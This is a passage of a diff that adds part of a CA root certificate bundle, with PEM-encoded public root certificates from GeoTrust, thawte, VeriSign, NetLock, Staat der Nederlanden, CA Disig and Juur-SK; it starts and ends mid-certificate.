+wVbtiGrXoDkhBFcsovW8R0FPXjQilbUfKW1eSvNNcr5BViCH/OlQR9cwFO5cjFW6WY2H/CPek9AE
+jP3vbb3QesmlOmpyM8ZKDQUXKi17safY1vC+9D/qDihtQWEjdnjDuGWk81quzMKq2edY3rZ+nYVu
+nyoKb58DKTCXKB28t89UKU5RMfkntigm/qJj5kEW8DOYRwIDAQABo4GeMIGbMB0GA1UdDgQWBBRU
+WssmP3HMlEYNllPqa0jQk/5CdTAOBgNVHQ8BAf8EBAMCAQYwWQYDVR0RBFIwUKROMEwxCzAJBgNV
+BAYTAkpQMRgwFgYDVQQKDA/ml6XmnKzlm73mlL/lupwxIzAhBgNVBAsMGuOCouODl+ODquOCseOD
+vOOCt+ODp+ODs0NBMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADlqRHZ3ODrs
+o2dGD/mLBqj7apAxzn7s2tGJfHrrLgy9mTLnsCTWw//1sogJhyzjVOGjprIIC8CFqMjSnHH2HZ9g
+/DgzE+Ge3Atf2hZQKXsvcJEPmbo0NI2VdMV+eKlmXb3KIXdCEKxmJj3ekav9FfBv7WxfEPjzFvYD
+io+nEhEMy/0/ecGc/WLuo89UDNErXxc+4z6/wCs+CZv+iKZ+tJIX/COUgb1up8WMwusRRdv4QcmW
+dupwX3kSa+SjB1oF7ydJzyGfikwJcGapJsErEU4z0g781mzSDjJkaP+tBXhfAx2o45CsJOAPQKdL
+rosot4LKGAfmt1t06SAZf7IbiVQ=
+-----END CERTIFICATE-----
+
+GeoTrust Primary Certification Authority - G3
+=============================================
+-----BEGIN CERTIFICATE-----
+MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE
+BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0
+IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy
+eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz
+NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo
+YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT
+LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI
+hvcNAQEBBQADggEPADCCAQoCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j
+K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE
+c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C
+IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu
+dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAwEAAaNC
+MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr
+2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9
+cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE
+Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD
+AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s
+t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt
+-----END CERTIFICATE-----
+
+thawte Primary Root CA - G2
+===========================
+-----BEGIN CERTIFICATE-----
+MIICiDCCAg2gAwIBAgIQNfwmXNmET8k9Jj1Xm67XVjAKBggqhkjOPQQDAzCBhDELMAkGA1UEBhMC
+VVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjE4MDYGA1UECxMvKGMpIDIwMDcgdGhhd3RlLCBJbmMu
+IC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3Qg
+Q0EgLSBHMjAeFw0wNzExMDUwMDAwMDBaFw0zODAxMTgyMzU5NTlaMIGEMQswCQYDVQQGEwJVUzEV
+MBMGA1UEChMMdGhhd3RlLCBJbmMuMTgwNgYDVQQLEy8oYykgMjAwNyB0aGF3dGUsIEluYy4gLSBG
+b3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIGA1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAt
+IEcyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEotWcgnuVnfFSeIf+iha/BebfowJPDQfGAFG6DAJS
+LSKkQjnE/o/qycG+1E3/n3qe4rF8mq2nhglzh9HnmuN6papu+7qzcMBniKI11KOasf2twu8x+qi5
+8/sIxpHR+ymVo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU
+mtgAMADna3+FGO6Lts6KDPgR4bswCgYIKoZIzj0EAwMDaQAwZgIxAN344FdHW6fmCsO99YCKlzUN
+G4k8VIZ3KMqh9HneteY4sPBlcIx/AlTCv//YoT7ZzwIxAMSNlPzcU9LcnXgWHxUzI1NS41oxXZ3K
+rr0TKUQNJ1uo52icEvdYPy5yAlejj6EULg==
+-----END CERTIFICATE-----
+
+thawte Primary Root CA - G3
+===========================
+-----BEGIN CERTIFICATE-----
+MIIEKjCCAxKgAwIBAgIQYAGXt0an6rS0mtZLL/eQ+zANBgkqhkiG9w0BAQsFADCBrjELMAkGA1UE
+BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2
+aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDggdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv
+cml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EgLSBHMzAeFw0w
+ODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhh
+d3RlLCBJbmMuMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMTgwNgYD
+VQQLEy8oYykgMjAwOCB0aGF3dGUsIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIG
+A1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAtIEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
+MIIBCgKCAQEAsr8nLPvb2FvdeHsbnndmgcs+vHyu86YnmjSjaDFxODNi5PNxZnmxqWWjpYvVj2At
+P0LMqmsywCPLLEHd5N/8YZzic7IilRFDGF/Eth9XbAoFWCLINkw6fKXRz4aviKdEAhN0cXMKQlkC
++BsUa0Lfb1+6a4KinVvnSr0eAXLbS3ToO39/fR8EtCab4LRarEc9VbjXsCZSKAExQGbY2SS99irY
+7CFJXJv2eul/VTV+lmuNk5Mny5K76qxAwJ/C+IDPXfRa3M50hqY+bAtTyr2SzhkGcuYMXDhpxwTW
+vGzOW/b3aJzcJRVIiKHpqfiYnODz1TEoYRFsZ5aNOZnLwkUkOQIDAQABo0IwQDAPBgNVHRMBAf8E
+BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUrWyqlGCc7eT/+j4KdCtjA/e2Wb8wDQYJ
+KoZIhvcNAQELBQADggEBABpA2JVlrAmSicY59BDlqQ5mU1143vokkbvnRFHfxhY0Cu9qRFHqKweK
+A3rD6z8KLFIWoCtDuSWQP3CpMyVtRRooOyfPqsMpQhvfO0zAMzRbQYi/aytlryjvsvXDqmbOe1bu
+t8jLZ8HJnBoYuMTDSQPxYA5QzUbF83d597YV4Djbxy8ooAw/dyZ02SUS2jHaGh7cKUGRIjxpp7sC
+8rZcJwOJ9Abqm+RyguOhCcHpABnTPtRwa7pxpqpYrvS76Wy274fMm7v/OeZWYdMKp8RcTGB7BXcm
+er/YB1IsYvdwY9k5vG8cwnncdimvzsUsZAReiDZuMdRAGmI0Nj81Aa6sY6A=
+-----END CERTIFICATE-----
+
+GeoTrust Primary Certification Authority - G2
+=============================================
+-----BEGIN CERTIFICATE-----
+MIICrjCCAjWgAwIBAgIQPLL0SAoA4v7rJDteYD7DazAKBggqhkjOPQQDAzCBmDELMAkGA1UEBhMC
+VVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA3IEdlb1RydXN0IElu
+Yy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFyeSBD
+ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMB4XDTA3MTEwNTAwMDAwMFoXDTM4MDExODIzNTk1
+OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAoYykg
+MjAwNyBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMTLUdl
+b1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjB2MBAGByqGSM49AgEG
+BSuBBAAiA2IABBWx6P0DFUPlrOuHNxFi79KDNlJ9RVcLSo17VDs6bl8VAsBQps8lL33KSLjHUGMc
+KiEIfJo22Av+0SbFWDEwKCXzXV2juLaltJLtbCyf691DiaI8S0iRHVDsJt/WYC69IaNCMEAwDwYD
+VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBVfNVdRVfslsq0DafwBo/q+
+EVXVMAoGCCqGSM49BAMDA2cAMGQCMGSWWaboCd6LuvpaiIjwH5HTRqjySkwCY/tsXzjbLkGTqQ7m
+ndwxHLKgpxgceeHHNgIwOlavmnRs9vuD4DPTCF+hnMJbn0bWtsuRBmOiBuczrD6ogRLQy7rQkgu2
+npaqBA+K
+-----END CERTIFICATE-----
+
+VeriSign Universal Root Certification Authority
+===============================================
+-----BEGIN CERTIFICATE-----
+MIIEuTCCA6GgAwIBAgIQQBrEZCGzEyEDDrvkEhrFHTANBgkqhkiG9w0BAQsFADCBvTELMAkGA1UE
+BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO
+ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwOCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk
+IHVzZSBvbmx5MTgwNgYDVQQDEy9WZXJpU2lnbiBVbml2ZXJzYWwgUm9vdCBDZXJ0aWZpY2F0aW9u
+IEF1dGhvcml0eTAeFw0wODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIG9MQswCQYDVQQGEwJV
+UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv
+cmsxOjA4BgNVBAsTMShjKSAyMDA4IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl
+IG9ubHkxODA2BgNVBAMTL1ZlcmlTaWduIFVuaXZlcnNhbCBSb290IENlcnRpZmljYXRpb24gQXV0
+aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx2E3XrEBNNti1xWb/1hajCMj
+1mCOkdeQmIN65lgZOIzF9uVkhbSicfvtvbnazU0AtMgtc6XHaXGVHzk8skQHnOgO+k1KxCHfKWGP
+MiJhgsWHH26MfF8WIFFE0XBPV+rjHOPMee5Y2A7Cs0WTwCznmhcrewA3ekEzeOEz4vMQGn+HLL72
+9fdC4uW/h2KJXwBL38Xd5HVEMkE6HnFuacsLdUYI0crSK5XQz/u5QGtkjFdN/BMReYTtXlT2NJ8I
+AfMQJQYXStrxHXpma5hgZqTZ79IugvHw7wnqRMkVauIDbjPTrJ9VAMf2CGqUuV/c4DPxhGD5WycR
+tPwW8rtWaoAljQIDAQABo4GyMIGvMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMG0G
+CCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI/l0xqGrI2O
+a8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMB0GA1Ud
+DgQWBBS2d/ppSEefUxLVwuoHMnYH0ZcHGTANBgkqhkiG9w0BAQsFAAOCAQEASvj4sAPmLGd75JR3
+Y8xuTPl9Dg3cyLk1uXBPY/ok+myDjEedO2Pzmvl2MpWRsXe8rJq+seQxIcaBlVZaDrHC1LGmWazx
+Y8u4TB1ZkErvkBYoH1quEPuBUDgMbMzxPcP1Y+Oz4yHJJDnp/RVmRvQbEdBNc6N9Rvk97ahfYtTx
+P/jgdFcrGJ2BtMQo2pSXpXDrrB2+BxHw1dvd5Yzw1TKwg+ZX4o+/vqGqvz0dtdQ46tewXDpPaj+P
+wGZsY6rp2aQW9IHRlRQOfc2VNNnSj3BzgXucfr2YYdhFh5iQxeuGMMY1v/D/w1WIg0vvBZIGcfK4
+mJO37M2CYfE45k+XmCpajQ==
+-----END CERTIFICATE-----
+
+VeriSign Class 3 Public Primary Certification Authority - G4
+============================================================
+-----BEGIN CERTIFICATE-----
+MIIDhDCCAwqgAwIBAgIQL4D+I4wOIg9IZxIokYesszAKBggqhkjOPQQDAzCByjELMAkGA1UEBhMC
+VVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3
+b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVz
+ZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmlj
+YXRpb24gQXV0aG9yaXR5IC0gRzQwHhcNMDcxMTA1MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCByjEL
+MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBU
+cnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRo
+b3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5
+IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASnVnp8
+Utpkmw4tXNherJI9/gHmGUo9FANL+mAnINmDiWn6VMaaGF5VKmTeBvaNSjutEDxlPZCIBIngMGGz
+rl0Bp3vefLK+ymVhAIau2o970ImtTR1ZmkGxvEeA3J5iw/mjgbIwga8wDwYDVR0TAQH/BAUwAwEB
+/zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEw
+HzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24u
+Y29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFLMWkf3upm7ktS5Jj4d4gYDs5bG1MAoGCCqGSM49BAMD
+A2gAMGUCMGYhDBgmYFo4e1ZC4Kf8NoRRkSAsdk1DPcQdhCPQrNZ8NQbOzWm9kA3bbEhCHQ6qQgIx
+AJw9SDkjOVgaFRJZap7v1VmyHVIsmXHNxynfGyphe3HR3vPA5Q06Sqotp9iGKt0uEA==
+-----END CERTIFICATE-----
+
+NetLock Arany (Class Gold) Főtanúsítvány
+============================================
+-----BEGIN CERTIFICATE-----
+MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G
+A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610
+dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB
+cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx
+MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO
+ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv
+biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6
+c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu
+0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw
+/HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk
+H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw
+fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1
+neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB
+BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW
+qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta
+YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC
+bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna
+NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu
+dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E=
+-----END CERTIFICATE-----
+
+Staat der Nederlanden Root CA - G2
+==================================
+-----BEGIN CERTIFICATE-----
+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
+66+KAQ==
+-----END CERTIFICATE-----
+
+CA Disig
+========
+-----BEGIN CERTIFICATE-----
+MIIEDzCCAvegAwIBAgIBATANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQGEwJTSzETMBEGA1UEBxMK
+QnJhdGlzbGF2YTETMBEGA1UEChMKRGlzaWcgYS5zLjERMA8GA1UEAxMIQ0EgRGlzaWcwHhcNMDYw
+MzIyMDEzOTM0WhcNMTYwMzIyMDEzOTM0WjBKMQswCQYDVQQGEwJTSzETMBEGA1UEBxMKQnJhdGlz
+bGF2YTETMBEGA1UEChMKRGlzaWcgYS5zLjERMA8GA1UEAxMIQ0EgRGlzaWcwggEiMA0GCSqGSIb3
+DQEBAQUAA4IBDwAwggEKAoIBAQCS9jHBfYj9mQGp2HvycXXxMcbzdWb6UShGhJd4NLxs/LxFWYgm
+GErENx+hSkS943EE9UQX4j/8SFhvXJ56CbpRNyIjZkMhsDxkovhqFQ4/61HhVKndBpnXmjxUizkD
+Pw/Fzsbrg3ICqB9x8y34dQjbYkzo+s7552oftms1grrijxaSfQUMbEYDXcDtab86wYqg6I7ZuUUo
+hwjstMoVvoLdtUSLLa2GDGhibYVW8qwUYzrG0ZmsNHhWS8+2rT+MitcE5eN4TPWGqvWP+j1scaMt
+ymfraHtuM6kMgiioTGohQBUgDCZbg8KpFhXAJIJdKxatymP2dACw30PEEGBWZ2NFAgMBAAGjgf8w
+gfwwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUjbJJaJ1yCCW5wCf1UJNWSEZx+Y8wDgYDVR0P
+AQH/BAQDAgEGMDYGA1UdEQQvMC2BE2Nhb3BlcmF0b3JAZGlzaWcuc2uGFmh0dHA6Ly93d3cuZGlz
+aWcuc2svY2EwZgYDVR0fBF8wXTAtoCugKYYnaHR0cDovL3d3dy5kaXNpZy5zay9jYS9jcmwvY2Ff
+ZGlzaWcuY3JsMCygKqAohiZodHRwOi8vY2EuZGlzaWcuc2svY2EvY3JsL2NhX2Rpc2lnLmNybDAa
+BgNVHSAEEzARMA8GDSuBHpGT5goAAAABAQEwDQYJKoZIhvcNAQEFBQADggEBAF00dGFMrzvY/59t
+WDYcPQuBDRIrRhCA/ec8J9B6yKm2fnQwM6M6int0wHl5QpNt/7EpFIKrIYwvF/k/Ji/1WcbvgAa3
+mkkp7M5+cTxqEEHA9tOasnxakZzArFvITV734VP/Q3f8nktnbNfzg9Gg4H8l37iYC5oyOGwwoPP/
+CBUz91BKez6jPiCp3C9WgArtQVCwyfTssuMmRAAOb54GvCKWU3BlxFAKRmukLyeBEicTXxChds6K
+ezfqwzlhA5WYOudsiCUI/HloDYd9Yvi0X/vF2Ey9WLw/Q1vUHgFNPGO+I++MzVpQuGhU+QqZMxEA
+4Z7CRneC9VkGjCFMhwnN5ag=
+-----END CERTIFICATE-----
+
+Juur-SK
+=======
+-----BEGIN CERTIFICATE-----
+MIIE5jCCA86gAwIBAgIEO45L/DANBgkqhkiG9w0BAQUFADBdMRgwFgYJKoZIhvcNAQkBFglwa2lA
+c2suZWUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKExlBUyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMRAw
+DgYDVQQDEwdKdXVyLVNLMB4XDTAxMDgzMDE0MjMwMVoXDTE2MDgyNjE0MjMwMVowXTEYMBYGCSqG
+SIb3DQEJARYJcGtpQHNrLmVlMQswCQYDVQQGEwJFRTEiMCAGA1UEChMZQVMgU2VydGlmaXRzZWVy
+aW1pc2tlc2t1czEQMA4GA1UEAxMHSnV1ci1TSzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
+ggEBAIFxNj4zB9bjMI0TfncyRsvPGbJgMUaXhvSYRqTCZUXP00B841oiqBB4M8yIsdOBSvZiF3tf
+TQou0M+LI+5PAk676w7KvRhj6IAcjeEcjT3g/1tf6mTll+g/mX8MCgkzABpTpyHhOEvWgxutr2TC
++Rx6jGZITWYfGAriPrsfB2WThbkasLnE+w0R9vXW+RvHLCu3GFH+4Hv2qEivbDtPL+/40UceJlfw
+UR0zlv/vWT3aTdEVNMfqPxZIe5EcgEMPPbgFPtGzlc3Yyg/CQ2fbt5PgIoIuvvVoKIO5wTtpeyDa
+Tpxt4brNj3pssAki14sL2xzVWiZbDcDq5WDQn/413z8CAwEAAaOCAawwggGoMA8GA1UdEwEB/wQF
+MAMBAf8wggEWBgNVHSAEggENMIIBCTCCAQUGCisGAQQBzh8BAQEwgfYwgdAGCCsGAQUFBwICMIHD
+HoHAAFMAZQBlACAAcwBlAHIAdABpAGYAaQBrAGEAYQB0ACAAbwBuACAAdgDkAGwAagBhAHMAdABh
+AHQAdQBkACAAQQBTAC0AaQBzACAAUwBlAHIAdABpAGYAaQB0AHMAZQBlAHIAaQBtAGkAcwBrAGUA
+cwBrAHUAcwAgAGEAbABhAG0ALQBTAEsAIABzAGUAcgB0AGkAZgBpAGsAYQBhAHQAaQBkAGUAIABr
+AGkAbgBuAGkAdABhAG0AaQBzAGUAawBzMCEGCCsGAQUFBwIBFhVodHRwOi8vd3d3LnNrLmVlL2Nw
+cy8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3d3dy5zay5lZS9qdXVyL2NybC8wHQYDVR0OBBYE
+FASqekej5ImvGs8KQKcYP2/v6X2+MB8GA1UdIwQYMBaAFASqekej5ImvGs8KQKcYP2/v6X2+MA4G
+A1UdDwEB/wQEAwIB5jANBgkqhkiG9w0BAQUFAAOCAQEAe8EYlFOiCfP+JmeaUOTDBS8rNXiRTHyo
+ERF5TElZrMj3hWVcRrs7EKACr81Ptcw2Kuxd/u+gkcm2k298gFTsxwhwDY77guwqYHhpNjbRxZyL
+abVAyJRld/JXIWY7zoVAtjNjGr95HvxcHdMdkxuLDF2FvZkwMhgJkVLpfKG6/2SSmuz+Ne6ML678
+IIbsSt4beDI3poHSna9aEhbKmVv8b20OxaAehsmR0FyYgl9jDIpaq9iVpszLita/ZEuOyoqysOkh
